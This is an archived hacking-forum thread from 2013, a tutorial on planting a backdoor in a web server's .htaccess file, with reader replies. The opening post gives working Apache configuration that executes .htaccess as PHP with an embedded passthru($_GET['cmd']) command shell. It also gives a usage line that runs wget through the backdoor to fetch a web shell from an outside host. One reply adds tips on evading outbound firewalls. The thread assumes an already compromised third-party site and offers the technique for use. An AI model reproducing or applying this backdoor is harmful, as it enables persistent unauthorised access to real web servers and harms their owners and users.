+- Hack Forums (https://hackforums.net)
+-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45)
+--- Forum: Grayhat • Purple Team • Hybrid Security (https://hackforums.net/forumdisplay.php?fid=449)
+---- Forum: Website Hacking (https://hackforums.net/forumdisplay.php?fid=43)
+---- Thread: {TUT} Create Backdoor in .htaccess {TUT} (/showthread.php?tid=3721917)
Pages: Pages
1
2
{TUT} Create Backdoor in .htaccess {TUT} - 133720 - Aug 28, 2013
Firstly,I want to say thank my friend Mr.Sample
In this Tutorial we will create Backdoor in .htaccess(Hypertext access)
Go public_html in shell and need to edit the .htaccess. 😁
Code
<Files ~ "^\.ht">
Order allow,deny
Allow from all
</Files>
AddType application/x-httpd-php .htaccess
# <?php passthru($_GET['cmd']); ?>[img]http://s22.postimg.org/beekb7owh/image.jpg[/img]
And need to type CMD Commands like this
Code
yoursite.com/.htaccess?cmd=For Shell Upolad
Code
yoursite.com/.htaccess?cmd=wget -O simple.php http://yourothersitewithshell/yourshell.txt[img]http://s24.postimg.org/pjoyqsahh/image.jpg[/img]
okay now you can access your shell..
[img]http://s14.postimg.org/avylus3kx/image.png[/img]
Have Fun!
👍👍
* - Bat™ - Aug 28, 2013
Informative thread, btw can you make a thread for bypassing outbound firewalls?
* - Toasties - Aug 28, 2013
nice tutorial, it looks good as :D
dam it, close to first psot ahha
* - 133720 - Aug 28, 2013
(Aug 28, 2013 09:08 PM)Brentbmwh Wrote: nice tutorial, it looks good as :D
dam it, close to first psot ahha
You are Welcome.
Thanks for feedback.
(Aug 28, 2013 09:08 PM)Sheldon™ Wrote: Informative thread, btw can you make a thread for bypassing outbound firewalls?
i need to learn for write.
Thanks about feedback
👍
* - Flaaffy - Aug 29, 2013
i dont get the point of this. Any admin with a tiny bit of knowledge can pick this up.
* - BeggFoMercy - Aug 29, 2013
It's pickable by any admin , YES , But I think It's still some good way of injecting a tiny shell into a .htaccess .
* - Flaaffy - Aug 29, 2013
(Aug 29, 2013 08:16 AM)BeggFoMercy Wrote: It's pickable by any admin , YES , But I think It's still some good way of injecting a tiny shell into a backdoor .
> injecting a tiny shell into a backdoor
are you on shrooms?
* - Bat™ - Aug 29, 2013
(Aug 29, 2013 08:16 AM)BeggFoMercy Wrote: It's pickable by any admin , YES , But I think It's still some good way of injecting a tiny shell into a backdoor .
Are you really Legion Teacher 'BeggFoMercy'?
* - Skorp - Aug 29, 2013
Everyone is in Legion nowadays, no suprise.
* - VipVince - Aug 29, 2013
Judging from them directory names, I am more intrigued to which website this is...
* - ๖ۣۜXilluX - Aug 29, 2013
Yes looks like a nice Thread ! :) Thanks for the share.
* - 133720 - Aug 29, 2013
(Aug 29, 2013 08:49 PM)Dr41DeY Wrote: Thanks, for posting! :DThanks for feedback.
The tutorial, is good :^)
I hope will help you when you make backdoor in htaccess
* - BeggFoMercy - Aug 29, 2013
(Aug 29, 2013 08:23 AM)Flaaffy Wrote: > injecting a tiny shell into a backdoor
are you on shrooms?
Uhmm , It was a typing mistake , I was on Marijuana xD .
* - ghost of christmas past - Nov 25, 2013
This is a nice little trick, I find. Although, the PHP backdoor script you used isn't the best, as passthru() could be disabled, it's always best to try all the options as you may only get one chance.
Oh yeah, in your example you went:
1. Create .htaccess from shell.
2. Wget the same shell from .htacess.
3. Go back to shell.
I just found that funny.
Nevertheless, nice write-up.
(Aug 28, 2013 09:08 PM)Bat™ Wrote: Informative thread, btw can you make a thread for bypassing outbound firewalls?
Use trusted ports (443, 80, 8080, 8181, etc.) or just hijack a socket.
* - ๖ۣۜScarface - Nov 25, 2013
Pretty interesting, thanks :)
(Aug 29, 2013 10:56 AM)VipVince Wrote: Judging from them directory names, I am more intrigued to which website this is...
Yeah, I'm curious about it too 🎉